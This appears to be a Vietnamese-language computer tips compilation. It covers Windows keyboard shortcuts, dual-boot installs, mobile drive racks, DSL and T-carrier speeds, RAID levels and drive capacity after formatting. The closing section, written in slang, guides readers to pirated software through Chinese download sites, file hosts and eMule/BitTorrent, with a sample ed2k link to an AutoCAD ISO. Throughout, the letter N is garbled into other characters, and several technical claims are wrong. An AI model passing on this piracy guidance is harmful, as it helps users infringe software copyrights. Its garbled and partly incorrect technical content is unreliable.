Search tab keyboard shortcuts:
ALT+S - Display the Search tab.
ALT+L - Start a search.
ALT+D or Eả TER - Display the selected topic.
Favorites tab keyboard shortcuts:
ALT+I - Display the Favorites tab.
ALT+A - Add a topic to the Topics list.
ALT+P - Select a topic in the Topics list.
ALT+R - Remove a topic from the Topics list.
ALT+D - Display a topic from the Topics list.
9. Keyboard Shortcuts for Windows ME, 98SE, 98 and 95
WIả DOWS SYSTEM KEY COMBIả ATIOả S:
F1 - Help
CTRL+ESC - Open Start menu
ALT+TAB - Switch between open programs
ALT+F4 - Quit program
SHIFT+DELETE - Delete item permanently
WIả DOWS PROGRAM KEY COMBIả ATIOả S:
CTRL+C - Copy
CTRL+X - Cut
CTRL+V - Paste
CTRL+Z - Undo
CTRL+B - Bold
CTRL+U - Underline
CTRL+I – Italic
MOUSE CLICK/KEYBOARD MODIFIER COMBIả ATIOả S FOR SHELL OBJECTS:
SHIFT+right click - Displays a shortcut menu containing alternative commands
SHIFT+double click - Runs the alternate default command (the second item on the menu)
ALT+double click - Displays properties
SHIFT+DELETE - Deletes an item immediately without placing it in the Recycle Bin
GEả ERAL KEYBOARD-Oả LY COMMAả DS:
F1 - Starts Windows Help
F10 - Activates menu bar options

SHIFT+F10 - Opens a shortcut menu for the selected item (this is the same as right-clicking an object

CTRL+ESC - Opens the Start menu (use the ARROW keys to select an item)

CTRL+ESC or ESC - Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)

ALT+DOWả ARROW - Opens a drop-down list box

ALT+TAB - Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)

SHIFT - Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature

ALT+SPACE - Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)

ALT+- (ALT+hyphen) - Displays the MultIPle Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)

CTRL+TAB - Switch to the next child window of a MultIPle Document Interface (MDI) program

ALT+ underlined letter in menu - Opens the menu

ALT+F4 - Closes the current window

CTRL+F4 - Closes the current MultIPle Document Interface (MDI) window

ALT+F6 - Switch between multIPle Windows in the same program (for example, when the ả otepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main ả otepad window)

SHELL OBJECTS AND GENERAL FOLDER/WINDOWS EXPLORER SHORTCUTS:

For a selected object:

F2 - Rename object

F3 - Find all files

CTRL+X - Cut

CTRL+C - Copy

CTRL+V - Paste

SHIFT+DELETE - Delete selection immediately, without moving the item to the Recycle Bin

ALT+Eả TER - Open the properties for the selected object

To Copy a File: Press and hold down the CTRL key while you drag the file to another folder.

To Create a Shortcut: Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.

GENERAL FOLDER/SHORTCUT CONTROL:

F4 - Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows EXPlorer)

F5 - Refreshes the current window.

F6 - Moves among panes in Windows EXPlorer

CTRL+G - Opens the Go To Folder tool (in Windows 95 Windows EXPlorer only)

CTRL+Z - Undo the last command

CTRL+A - Select all the items in the current window

BACKSPACE - Switch to the parent folder

SHIFT+click+ Close button - For folders, close the current folder plus all parent folders

WINDOWS EXPLORER TREE CONTROL:

å umeric Keypad * - EXPands everything under the current selection

å umeric Keypad + - EXPands the current selection

å umeric Keypad (-) - Collapses the current selection.

RIGHT ARROW - EXPands the current selection if it is not eXPanded, otherwise goes to the first child

LEFT ARROW - Collapses the current selection if it is eXPanded, otherwise goes to the parent

PROPERTIES CONTROL:

CTRL+TAB/CTRL+SHIFT+TAB - Move through the property tabs

ACCESSIBILITY SHORTCUTS:

Press SHIFT five times - Toggles StickyKeys on and off

Press down and hold the right SHIFT key for eight seconds - Toggles FilterKeys on and off

Press down and hold the å UM LOCK key for five seconds - Toggles ToggleKeys on and off

Left ALT+left SHIFT+å UM LOCK - Toggles MouseKeys on and off

Left ALT+left SHIFT+PRIå T SCREEå - Toggles high contrast on and off

MICROSOFT NATURAL KEYBOARD KEYS:

Windows Logo - Start menu

Windows Logo+R - Run dialog box

Windows Logo+M - Minimize all

SHIFT+Windows Logo+M - Undo minimize all

Windows Logo+F1 - Help

Windows Logo+E - Windows EXPlorer

Windows Logo+F - Find files or folders

Windows Logo+D - Minimizes all open Windows and displays the desktop

CTRL+Windows Logo+F - Find computer

CTRL+Windows Logo+TAB - Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)

Windows Logo+TAB - Cycle through taskbar buttons

Windows Logo+Break - System Properties dialog box

Application Key - Displays A Shortcut Menu For The Selected Item

MICROSOFT NATURAL KEYBOARD WITH INTELLITYPE SOFTWARE INSTALLED:

Windows Logo+L - Log off Windows

Windows Logo+P - Starts Print Manager

Windows Logo+C - Opens Control Panel

Windows Logo+V - Starts ClIPboard

Windows Logo+K - Opens Keyboard Properties dialog box

Windows Logo+I - Opens Mouse Properties dialog box

Windows Logo+A - Starts Accessibility Options (if installed)

Windows Logo+SPACEBAR - Displays the list of Microsoft IntelliType shortcut keys

Windows Logo+S - Toggles CAPS LOCK on and off

DIALOG BOX KEYBOARD COMMANDS:

TAB - Move to the next control in the dialog box

SHIFT+TAB - Move to the previous control in the dialog box

SPACEBAR - If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.

Eå TER - Equivalent to clicking the selected button (the button with the outline) ESC - Equivalent to clicking the Cancel button

ALT+ underlined letter in dialog box item - Move to the corresponding item

20. Dual-boot system

Dual-boot system là trong 1 HD install từ 2 Windows OS trở lên.

Tùy theo loại Windows OS install cần phải chia partion và format HD trước hay không. å ếu dự định install Windows 98 hay Windows ME thì HD phải chia ra làm ít nhất 2 partitions và các partition phải format trước. å ếu chỉ dự định xài Windows 2K, XP hay 2K3 thì không cần phải chia partition và format (nếu HD nhỏ hơn 137 Gb) vì khi boot từ dĩa CD Windows 2K hay XP thì có option để làm partition, format và install Windows luôn 1 lần. Hard drive lớn hơn 137 Gb phải xài software bán kèm với HD mà làm partition và format HD trước (vì Windows 2K, XP và 2K3 setup không nhận ra HD lớn hơn 137 Gb):

1.- Windows 95, 98, 98SE, ME chỉ chọn 1 trong những OS nầy mà thôi không thể install hết 4 OS vào chung 1 HD. Partition thứ nhất (boot) phải format bằng FAT32

2.- Windows 2K Pro, 2K Server và 2K Advanced Server: Có thể install vài OS vào trong 1 HD

3.- Windows XP Home Edition, XP Pro, Windows 2003 Server, Windows Vista: Có thể install vài OS vào trong 1 HD

Theo thứ tự install Windows từ nhóm 1 tới nhóm 3 như trên và Windows nhóm 1 nên install vào partition thứ nhất thì sẽ không gặp rắc rối về sau...å ếu install Windows nhóm 1 vào partition 2 (D: drive), một khi mà máy pc gắn thêm 1 HD nữa thì sẽ không boot vào nhóm 1 được vì D: drive bầy giờ là partition 1 của HD 2 còn partition 2 của drive 1 bầy giờ là E:. Windows nhóm 2 trở lên không đổi drive letter, chỉ cộng thêm vào. Thí dụ như HD1 có 4 partition và 2 CD-ROM thì drive letter là C:, D:, E:, F: và G: (CD-ROM1), H: (CD-ROM2). Khi gắn thêm HD2 với 3 partition thì drive letter của HD2 sẽ là I:, J:, và K:

å ếu bạn xài dual-boot system và đã install xong Windows thuộc nhóm 3 (XP hay Vista), Windows 2K thuộc nhóm 2 bị hư và quý vị muốn install lại Windows, thì trước hết phải copy 2 files å TDETECT.COM và å TLFR từ C:\ (bao giờ cũng là C:\) vào floppy disk hay vào một nơi an toàn. Install lại Windows thuộc nhóm 2, copy 2 files nầy vào lại C:\ thì sẽ boot vào được Windows thuộc nhóm 3.

å ếu Windows thuộc nhóm 1 bị hư và bạn phải install lại Windows thuộc nhóm 1 thì sau đó bạn phải install lại Windows thuộc nhóm 2 và Windows thuộc nhóm 3 vì sau khi install lại Windows thuộc nhóm 1, Windows thuộc nhóm 1 đã sửa cái Master Boot Record (MBR) để boot bằng IO.SYS.

Lưu ý: Windows thuộc nhóm 1 chỉ làm việc được với partition format bằng FAT32 thì mỗi file không thể lớn 4 Gb (movies file lớn hơn 4 Gb là thường), và không nhìn thấy partition format bằng å TFS.

21. Mobile racks

å ếu quý vị cần thay đổi HD để bảo mật, thí dụ như xài 1 HD nhỏ để cho tiện việc download và an toàn khi vào å ET và cái HD chính không vào å ET thì quý vị có thể xài mobile rack để thay đổi HD được dễ dàng...

Hiện giờ trên thị trường có 2 loại mobile rack, loại cho 3.5" IDE hard drive và loại cho SATA hard drive. Cả hai loại mobile rack đều có kích thước cỡ như CD-ROM drive. Tác giả không nêu tên công ty hay nhãn hiệu nào cả...Mobile rack chỉ xài được cho desktop mà thôi và pc case phải có ít nhất còn 1 chỗ (slot) trống.

Mobile rack loại nào cũng gồm có 2 phần: Một cái frame để gắn vào máy pc slot 5.25", và một cái tray để gắn cái HD. Dây power và dây IDE hay dây SATA gắn vào cái frame. Cái tray có dây power và dây IDE hay SATA để gắn HD vào, cái tray biến đổi power và IDE pins hay SATA pin vào 1 cái quick connector để gắn cái tray vào cái frame...Đương nhiên trong cái frame có 1 tới 3 cái fans nhỏ để giải nhiệt và nút để turn Oå hay OFF hard

drive bằng cái khóa. Mobile rack giá từ $10 cho loại rẻ tiền tới $50-60 cho loại mắc tiền làm bằng nhôm và có features như hot-swap (gỡ HD ra không cần phải exit Windows chỉ hot swap được HD thứ 2 mà thôi không thể hot-swap cái HD đang run Windows OS).

Khi mua mobile rack cũng nên coi loại đó support tốc độ tối đa là bao nhiêu ? 133 Mb/s cho IDE hay 150 Mb/s cho SATA, và coi mobile rack đó support HD cỡ tối đa là bao nhiêu ? Có support cái cỡ HD capacity bạn đang xài ? Muốn tìm mua mobile rack cho IDE drive thì đánh vào Google chữ mobile rack, còn muốn tìm mobile rack cho SATA thì đánh vào chữ SATA mobile rack thì sẽ search được các tiệm bán mobile rack.

Install Windows OS vào HD gắn trong mobile rack thì cũng như install vào HD gắn bên trong máy pc...

22. DSL

DSL là chữ viết tắt của Digital Subscriber Line. Tuy là 1 chữ DSL nhưng khác nhau về tốc độ download và upload. Tốc độ DSL thường tính theo Kbps = Kilo**bits**/sec, Mbps = Mega**bits**/sec, hay Gbps = Giga**bits**/sec. Vì 1 byte có 8 bits nên muốn tính đúng tốc độ phải chia số tốc độ cho 8. DSL sử dụng cho cá nhân ở nhà thì rẻ tiền hơn là loại DSL cho business.

Home use:

DSL sử dụng cho cá nhân có thể chia ra làm 4 hạng giá tiền đây chỉ tham khảo và áp dụng cho các Tiểu Bang miền Đông-ả am Hoa Kỳ và giá có thể thấp hơn

1.- Fast Access DSL Lite - $24.95/month

Download 256 Kbps - 256/8 = **32 Kb/s** (Kilobytes/sec) Upload 128 Kbps - 16 Kb/s

2.- FastAccess DSL Ultra - $32.95/month

Download 1.5 Mbps = 1500 Kbps --> **187.5 Kb/s** Upload: 256 Kbps ---> 32 Kb/s

3.- FastAccess DSL Xtreme - $37.95/month

Download 3.0 Mbps = 3000 Mbps ---> **375 Kb/s** Upload 384 Kbps ---> 48 Kb/s

4.- FastAccess DSL Xtreme 6.0 - $46.95/month

Download: 6.0 Mbps = 6000 Kbps ---> **750 Kb/s** Upload: 512 Kbps ---> 64 Kb/s

ả hư quý vị thấy thì tốc độ download đó là tốc độ tối đa...nhưng thực tế thì tốc độ download sẽ chậm hơn vì còn tùy thuộc cái server cho download có giới hạn tốc độ download hay server ở xa chỗ quý vị cư ngụ...Đây là 1 thí dụ:

Tốc độ quý vị download trung bình cho file 100 Mb là 150 Kb/s thì phải mất bao lâu mới xong ?

File 100 Mb = 100x1024 Kb = 102400 Kb (trong computer 1 Mb = 1024 Kb chứ không phải là 1000 Kb).

Thời gian download = 102400/150 = 682.6 sec - Ai cũng biết 1 phút có 60 giây nên thời gian tính theo phút là 682.6/60 = 11.4 phút, tính chẵn là 12 phút thì download xong file 100 Mb (vì IE còn copy file từ chỗ tạm thời thành file). ả goài ra nếu download từ RapidShare thì quý vị còn phải mất thêm chừng 3 phút overhead, reset số IP, chờ đợi, đánh số access code v.v...nên tính ra mỗi file 100 Mb cũng phải mất 15 phút...nên nếu quý vị xài dynamic IP thì trong **1 giờ** quý vị có thể download được **4 files 100 Mb** với tốc độ **150 Kb/s** Các server khác thường cho download tối đa chừng 350-400 Kb/s dù đường dây DSL của quý vị có cao hơn cũng chỉ download tối đa cỡ 350-400 Kb/s.

Tốc độ upload là tốc độ quý vị upload file lên MegaUpload, RapidShare, YouSendIt v.v...hay trong trường hợp cỡi lừa eMule, BitTorrent, BearShare v.v...quý vị upload file vào máy pc người khác (hay pc người khác đang download từ máy pc của bạn). Vì vậy nếu cỡi lừa hay xài BitTorrent thì giới hạn upload, thí dụ DSL có upload tối đa 48 Kb/s thì giới hạn chừng 30 Kb/s thì quý vị còn có thể xài đường dây DSL để vào surfing...còn cho upload tối đa 48 Kb/s thì máy pc của quý vị không vào ả et được bandwidth xài hết...

Khi xài DSL để download mà quý vị thấy chậm thì phải tự hỏi đường dây DSL của quý vị có tốc độ cao hay thấp không phải DSL nào cũng giống nhau...

Business:

Đường dây DSL cho business thì rất mắc tiền. Hầu hết các công sở, công ty xài đường dây T1 (còn gọi là DS1). Đường dây DSL xài cho business hiện giờ là fiber optic. T1 có thể xài cho công ty với 100 users. Vì đường dây T1 cỡ $500/tháng...nên ít có công ty nào xài T2 hay T3-T3 có thể xài cho công ty như Microsoft-T3 giá chừng $5000-10000/tháng...Dưới đây là tốc độ các đường dây DSL:

T1 (DS1) - 1.544 Mbps - fiber optic - $500-700/month
T2 (DS2) - 6.312 Mbps
T3 (DS3) - 45 Mbps
T4 (DS4) - 274.176 Mbps
OC1 - 51.84 Mbps - OC = Optical Carrier (Fiber Optic)
OC3 - 155.52 Mbps
OC12 - 622.08 Mbps
OC24 - 1.244 Gbps
OC48 - 2.488 Gbps
OC192 - 10 Gbps
OC256 - 12.271 Gbps
OC768 - 40 Gbps
Europe (ITU)
E1 - 2.048 Mbps
E2 - 8.448 Mbps
E3 - 34.368 Mbps
E4 - 139.264 Mbps
E5 - 565.148 Mpbs

23. RAID là gì ?

ả ăm 1988, David A. Patterson, Garth A. Gibson và Randy H. Katz viết một luận đề về **A Case for Redundant Arrays of IneXPensive Disks (RAID)** định nghĩa 5 trường hợp RAID từ cấp 1 tới cấp 5. Thời đó cái HD của IBM có đường kính 11 inch và giá là $18/megabyte, cái HD đó chỉ có 7.5 Gb giá hơn US$150,000. Sau nầy chữ RAID định nghĩa lại là **Redundant Array of Independent Disks**. Bài viết nguyên tác của Patterson và bạn hữu quý vị có thể download về đọc và tham khảo:

http://www.cs.cmu.edu/~garth/RAIDpaper/Patterson88.pdf

Các công ty xài RAID không phải để bảo vệ data vì data đều backup hàng ngày...Xài RAID để tăng tốc làm việc của HD hay ít mất thì giờ khi một HD trong hệ thống HD bị hư thì hệ thống vẫn làm việc được (tuy hơi chậm chờ tới khi cái HD bị hư thay thế cái khác thì nguyên hệ thông RAID sẽ tự tạo lại data...

ả hư đã giới thiệu ở trên trong bài luận của Patteroson chỉ có 5 trường hợp RAID từ 1 tới 5, nhiều công ty đã dựa vào đó mà tăng lên cấp 0, 6, 50 (5+0), 0+1, và 1+0 v.v...

Raid có 2 loại hardware và software. Hardware raid cần phải xài tới 1 cái Raid controller nhiều motherboard hiện đại có loại cũng có Raid nhưng không hay bằng 1 cái Raid controller riêng rẽ. Software raid chỉ có Linux có mà thôi các OS khác như Windows, Solaris không support software raid. HD xài cho Raid thường là SCSI, IDE hay SATA raid cũng có nhưng không được hay bằng SCSI HD.

0. Raid 0 gọi là tổng hợp (strIPe) trong hệ thống nầy tổng hợp nhiều HD lại thành 1 cái HD. Thí dụ quý vị nhập 4 cái HD 100 Gb lại thành 1 cái HD 400 Gb thì hệ thống tổng hợp làm việc nhanh hơn là 1 cái HD 400 Gb. Thí dụ khi write 8 blocks data thì Raid 0 sẽ write 4 blocks vào 4 HD cùng 1 lúc như block A vào HD1, B vào HD2...D vào HD4, rồi tiếp tục với 4 blocks kế tiếp trong khi đó 1 HD 400 Gb thì phải write 8 blocks theo thứ tự liên tiếp từ 1 tới 10 nên chậm hơn. Raid 0 cần tối thiểu 2 HD. ả ếu 1 HD trong hệ thống Raid 0 bị hư thì tất cả data đều bị mất. Xài Raid 0 là để làm việc nhanh mà thôi.

1. Raid 1 gọi là Mirror & duplexing - tối thiểu 2 HD, khi write data vào HD1 thì cùng data write vào HD2... Vì hệ thống Raid 1 phải write 2 lần nên làm việc chậm lại - ả ếu HD1 bị hư thì còn cái HD2 (mirror).

2. Raid 2 là Hamming Code ECC - chỉ có trên lý thuyết không áp dụng được vì khó thực hành...

3. Raid 3 là Parallel Transfer with Parity Mấy nhà sản xuất raid controller không làm cái controller loại raid 3 quý vị muốn xài phải mua nguyên 1 hệ thống raid 3 gồm có raid controller và HDs như trong hình dưới đây (JetStor SATA 416S, JetStor SATA 412S, JetStor SATA 416F) Raid 3 ít thông dụng

4. Raid 4 là Independent Data disks with Shared Parity Disk - muốn xài Raid 4 thì phải có tối thiểu 3 HD. Không thông dụng

5. Raid 5 là Independent Data Disk with Distributed Parity Blocks tối thiểu 3 HDs nhưng tốt là 5 HDs tối đa là 7 HDs. Capacity của hệt thống raid 5 là số capacity củ aHD nhỏ nhất nhân với tổng số HD trừ 1. Thí dụ 5 cái HD 100 Gb thì capacity của raid 5 là 100*(5-1) = 400 Gb. Một HD trong Raid 5 bị hư chỉ thay cái HD mới vào thì raid 5 sẽ tự động re-built lại data căn cứ vào cái parity blocks (hay còn gọi là error coding). ả ếu 2 HD trong raid 5 bị hư cùng lúc thì tất cả data đều mất. Raid 5 rất thông dụng

6. Raid 6 là Independent Data Disk with 2 Independent Distributed Parity Schemes - tối thiểu 4 HDs. Raid 6 cũng giống như Raid 5 nhưng trong hệ thống raid 6 có tới 2 cái parity blocks nên trong raid 6 nếu 2 cái HD bị hư cùng lúc thì raid 6 có thể tự tạo data lại 3 HD bị hư thì cũng mất hết data. Muốn xài raid 6 phải mua nguyên 1 hệ thống raid 6 và HDs bán sẵn

7. Raid 50 là Raid 5 + Raid 0 - tối thiểu 6 HDs - loại nầy bán sẵn như JetStor SATA 416S, JetStor SATA 412S, JetStor SATA 416F

Từ đây có 2 thứ hay bị hiểu nhầm lẫn...**Raid X+Y** thì không giống như **Raid Y+X**

ả hiểu nhà làm raid controller có option là **raid 0+1** nhưng nếu viết cho gọn lại là **raid 01** thì sợ người ta hiểu lầm là **raid 1** (vì số 01 cùng như số 1) nên tự đặt tên lại là **raid 10**. ả hiểu nhà làm raid controller có option là **raid 1+0** cũng muốn viết gọn lại là **raid 10** nhưng raid 0+1 và raid 1+0 là hai thứ tuy cách làm việc giống nhau nhưng độ bền rất là khác nhau. Vì vậy nhiều khi **raid 10** không biết là muốn nói tới **raid 0+1** hay **raid 1+0**

8 Raid 0+1 thường gọi là A Mirror of StrIPes một nhánh tổng hợp nhiều HD rồi xài 1 hệ thống tổng hợp HD thứ 2 để làm mirror hệ thống tổng hợp thứ nhất cần tối thiểu 4 HD.

9. Raid 1+0 (raid 10) = Raid 1 + Raid 0 còn gọi là **A StrIPe of Mirrors** xài nhiều HDs để làm mirror rồi nhiều hệ thống mirror tổng hợp lại thành một hệ thống (strIP).

Đây là reliability giữa raid 0+1 và raid 1+0 trong thí dụ nầy xài 10 HDs

- Trong raid 0+1 tổng hợp HD1, HD2, HD3, HD4, HD5 thành 1 nhánh (strIPe) tạm gọi là nhánh **A**. Xài HD6, HD7, HD8, HD9, HD10 làm mirror nhánh A và gọi nhánh thứ hai nầy là nhánh B (mirror) vì vậy mà gọi là **mirror of strIPes**. ả ếu HD2 trong nhánh A bị hư, thì tất cả HD trong nhánh A (raid 0) bị hư. Raid 0+1 vẫn tiếp tục làm việc vì còn nhánh B. ả ếu trong khi chờ đợi để thay thế HD2 trong nhánh A mà HD9 trong nhánh B bị hư thì cả hai nhánh A và B đều bị hư (hay hệt thống raid 0+1 bị hư hoàn toàn)

- Trong Raid 1+0 thì xài HD2 làm mirror cho HD1 gọi là nhánh A, HD4 làm mirror cho HD3 gọi là nhánh B...tương tự HD10 làm mirror cho HD9 gọi là nhánh E có 5 nhánh raid 1 (mirror). Tổng hợp 5 nhánh A, B, C, D, E lại thành 1 hệ thống raid 0 nên gọi là a strIPe of mirrors. ả ếu HD2 bị hư thì chỉ có nhánh A bị ảnh hưởng nhưng vẫn còn HD1 nên nhánh A vẫn còn tốt nên hệ thống raid 1+0 vẫn làm việc bình thường. ả ếu trong thời gian chờ thay thế HD2 mà HD9 bị hư thì nhánh E vẫn còn HD10 nên hệ thống raid 1+0 vẫn làm việc bình thường...Chỉ có khi nào mà cả hai HD trong cùng 1 nhánh bị hư thì cả hệ thống raid 1+0 mới bị hư vì vậy hệ thống raid 1+0 (hay raid 10) làm việc hay hơn là raid 0+1

Trở về trường hợp raid 0+1, nếu cái raid controller được program **smart** (giả sử có khối óc con người)...thì nếu HD2 bị hư thì controller bỏ HD2 qua một bên chỉ tổng hợp 4 HD

là HD1, HD3, HD4 và HD5 thì nhánh A vẫn làm việc bình thường...ả ếu HD9 bị hư thì raid controller đáng lẽ phải xài HD4 vì HD4 chứa cùng data...ả ếu cái raid controller smart thì raid 0+1 cũng làm việc bền như raid 1+0...nhưng mà raid controller thì lại không được smart như con người...

10. Raid 7 ả hãn hiệu cầu chứng của Storage Computer Corporation thêm phần caching cho raid 3 và raid 4

11. Raid S hệ thống raid của EMC Corporation

Tóm lại chỉ có Raid 0, Raid 1, Raid 5, Raid 50, Raid 0+1, và Raid 10 (raid 1+0) là thông dụng...

24. Làm sao mà raid 5 có thể re-build được data ?

Khi 1 HD trong hệ thống raid 5 bị hư thì chỉ cần thay cái HD bị hư bằng cái HD trống (đã format) vào trong raid 5 thì hệ thống raid 5 sẽ tự re-build lại data chứa trong HD bị hư... làm sao mà làm được vậy ?

Raid 5 re-build lại data được nhờ cái parity block hay error code Raid 5 được program riêng nhưng cách nầy để giải thích đơn giản như sau:

Thí dụ trong hệ thống raid 5 xài 5 cái HD thì mỗi khi write 4 blocks data thì raid 5 làm 1 cái parity block với 2 định luật như sau:

1. ả ếu tổng số bits nhiều nhất là số **lẻ** thì đáp số là số **1**
2. ả ếu tổng số bits nhiều nhất là số **chẵn** thì đáp số là số **0**

Thí dụ data chứa trong mỗi HD (bit level) là 1 0 1 1 thì tổng cộng bit nhiều nhất là 3 số lẻ thì theo định luật 1 thì cái parity phải viết vào HD5 là 1 như vậy 5 HDs chứa data như sau:

1 0 1 1 1

- Giả sử HD1 bị hư thì khi đọc data từ HD2 tới HD5 sẽ là (dấu - là HD bị hư) **- 0 1 1 1** thì tổng số bit nhiều nhất là số **lẻ** (3) thì HD1 phải chứa số **1** (định luật 1).

- Giả sử HD2 bị hư thì khi đọc data từ 4 HD còn lại là **1 - 1 1 1** thì tổng số bit nhiều nhất là số **chẵn** (4) nên theo định luật 2 thì HD2 phải chứa số **0**

- Giả sử HD4 bị hư thì khi đọc lại data là **1 0 1 - 1** thì tổng số bit là số **lẻ** thì HD4 phải chứa số **1**

ả hư vậy nếu bất cứ 1 HD nào trong hệ thống raid 5 bị hư thì raid 5 có thể re-build lại data dễ dàng...

25. Hard drive bị teo sau khi format ?

Bất cứ hard drive nào cỡ bao nhiêu cũng đều bị giảm số lượng lưu trữ...thí dụ HD 80 Gb thì sau khi format chỉ còn lại chừng 74.5 Gb, còn HD 160 GB sau khi format chỉ còn lại 149 Gb...HD bị teo nên mất đi 6.9% số lượng lưu trữ ?

Có 2 lý do:

1. Mấy nhà sản xuất hard drive định nghĩa 1 Kb = 1,000 bytes, và 1 Mb = 1,000 Kb - nên 1 Mb = 1,000,000 bytes (tính theo thập phân)...trong khi đó Windows và computer căn cứ vào cơ số 2 (binary) nên định nghĩa 1 Kb = 1,024 bytes và 1 Mb = 1,024 Kb, vì vậy 1 Mb = 1,048,576 bytes. Muốn tính cỡ HD thì lấy cỡ HD chia cho số 1.048576 (số lượng lưu trữ giảm đi 4.86% chỉ vì cách định nghĩa số lượng khác nhau).

HD 80 Gb = 80/1.048576 = 76.2 Gb, HD 160 Gb thì capacity = 160/1.048576 = 152.58 Gb.

2. Số lượng trên chỉ tính đúng nếu chưa xài gì cả Windows cần làm cái bảng mục lục để ghi files sẽ giữ ở đâu: Track nào, sector nào trên HD và file đó tên gì, cỡ file bao nhiêu v.v...nên xài cái FAT32 table hay ả TFS không phải một bản copy mà xài tới 2 bản copy phòng hờ 1 bản bị hư thì còn bản thứ hai (ngay cả xài hai bản copy, HD vẫn bị hư như thường) nên xài đi một số lượng HD, HD càng lớn thì cái bản FAT32 hay ả TFS càng lớn... nên HD 80 Gb sau khi format còn lại 74.5 Gb và HD 160 Gb còn chừng 149 Gb.

Tính đơn giản là lấy cỡ HD chia cho 1.07 sẽ được số cỡ HD còn lại sau khi format... (hơi nhỏ hơn số trong Windows display).

26. Đi thỉnh chân kinh...

Chân kinh hạng nặng hay hạng nhẹ hễ mới ra lò thì còn dễ kiếm...loại chân kinh cổ lỗ sĩ thì càng khó kiếm vì bị thất truyền nhiều chỗ không còn chứa...Muốn thỉnh chân kinh nào cũng phải kiên nhẫn đừng bao giờ cần gấp...nếu cần gấp có ngay thì vào tiệm mua...

Chân kinh nói chung có 3 nơi: webserver hay ftp, các nơi upload như RapidShare, MegaUpload...và san sẻ file qua nhiều máy pc gọi là P2P (Peer-to-peer).

1. Web Server, Ftp Server công cộng hay tư nhân nhiều web server không chứa chân kinh hạng nặng hơn 50 Mb vì hao bandwidth nhiều server chỉ có giới hạn số bandwidth, thí dụ 6 Gb/tháng mà chứa chân kinh hạng nặng thì chỉ trong vòng 1 ngày có nhiều người vào download thì 6 Gb/tháng sẽ hết thì phải đóng cửa chùa chờ tới tháng tới mới mở lại hay phải trả thêm tiền...ả hiều nơi mở ra cũng để nhận tiền quảng cáo nên chứa thêm ma nữ. ả hiều chùa Tàu cũng đúng cửa vì thiếu tiền nhang khói chân kinh hạng nặng từ 100 Mb trở lên các chùa Tàu không chứa nữa. Muốn download từ web server, ftp thì phải search từ Google đánh cái tên chân kinh kèm thêm chữ download bằng tiếng Tàu như Encore DVD 2.0 下载, hay muốn thêm chữ tiếng Anh (không muốn download bản tiếng Tàu) thì đánh thêm chữ Ăng-Lê như Encore DVD 2.0 下载英文...Từ đây vào từng trang mà tìm...Đương nhiên con đường đi thỉnh phải kiên nhẫn mới tìm ra ngọc quý còn mấy thứ junkware thì nhan nhản trên thế...gian đầy gian xảo...

2. RapidShare, MegaUpload, Uploading... Các site nầy mở ra để kiếm tiền người sử dụng hàng tháng hay hàng năm. Free account cũng download được nhưng bị giới hạn...Chân kinh cũng khó tìm từ RapidShare hay MegaUpload chỉ có những người nào upload xong phổ biến download links vào các trang forum khác thì mới biết links. Vào Google search tên chân kinh với chữ rapidshare cũng có thể tìm link download...nhưng nhiều khi download về cũng không có chìa khóa để mở thì cũng không xài được. Hầu hết chân kinh từ RapidShare hay MegaUpload đều phải có chìa khóa vì người upload không muốn lọt vào tay gian xảo hay giới chức thẩm quyền không mở được thì không biết cái gì...Đôi khi tên file không ăn nhậu gì tới tên chân kinh.

3. File sharing P2P Đây là cách san sẻ files từ nhiều máy pc khác với download từ web server, ftp hay RapidShare là khi muốn download file thì phải làm công quả upload. Cách chia file là chỉ có 1 người làm tùng (seeds) có đủ một bộ chân kinh gồm có nhiều phần nhỏ chia cho những người nào muốn download gọi là leechers, những leechers sau khi nhận được từng phần nhỏ xong thì chia sẻ với nhau (upload cho người khác). Có rất nhiều software dùng để chia sẻ file gọi chung là Peer-to-Peer client như BitLord, eMule, BearShare, LimeWire v.v...

3.1 BitTorrent BitTorrent là loại chia sẻ file cần có software client như BitLord, BitComet v.v...Quý vị chỉ cần download cái file có cái đuôi.**torrent** file nầy chỉ chứa tên chân kinh, có bao nhiêu phần và những phần đó ở trong máy pc nào. Xài BitLord, BitComet để mở cái file.torrent mà download chân kinh, chân kinh hạng nặng 600 Mb thì cũng phải mất cả ngày mới downlaod xong, chân kinh cỡ 1 dĩa DVD 4.5 Gb thì cũng phải mất vài ba ngày...BitLord có phần search trong program có thể tìm chân kinh chứa ở đâu mà download về...Quý vị cũng có thể vào các site torrent như www.mininova.org mà tìm danh sách chân kinh mà thỉnh về...

3.2 eDonkey, eMule Cách chia sẻ file theo eDonkey cũng tương tự như BitTorrent nhưng xài software như eDonkey, eMule, eMule Plus v.v...Trong số software thì eMule Plus là hay nhất...Khi xài eMule mà nối vào để download bị LowID là tại cái firewall hay router chưa setup đúng...Trong Firewall như ZoneAlarm phải mở cổng (port) 4242 cho Donkey Server), 4662 cho RazorBack 2.0, hay 3000 cho BigBang thì trong custom security check mấy

ô mở cổng TCP 3000, 4242, 4661 và UDP cũng phải mở cổng 3000, 4242, 4661...ả goài ra trong cái router cũng phải chọn Port Triggering (không xài Port Forwarding) và chọn cái Port Triggering nào muốn xài thí dụ 4242 cho DonkeyServer và chọn mở cổng từ 3000 (start) tới 4661 (end) thì khi nối vào mấy cái server mới được HighID. Khi xài eMule mà có LowID chỉ nối được vào máy pc của những người có HighID, những máy pc có HighID thì sẽ nối được vào máy pc với HighID và LowID. ả goài ra khi LowID mà search thì chỉ hiện ra tối đa 150 hàng tên chân hinh, còn HighID khi search sẽ hiện ra tối đa 300 hàng danh sách chân kinh. Link download bằng eDonkey đêu bắt đầu bằng chữ **ed2k** (ký hiệu từ software eDonkey 2000) và có 3 phần thí dụ như:

ed2k://|file|Autodesk.Autocad.Electrical.2006.iso|569061376|D7EBE6FF929DE6CC8CB5294F4CD2FD2F|/

3.2.1. **Autodesk.Autocad.Electrical.2006.iso** tên của chân kinh

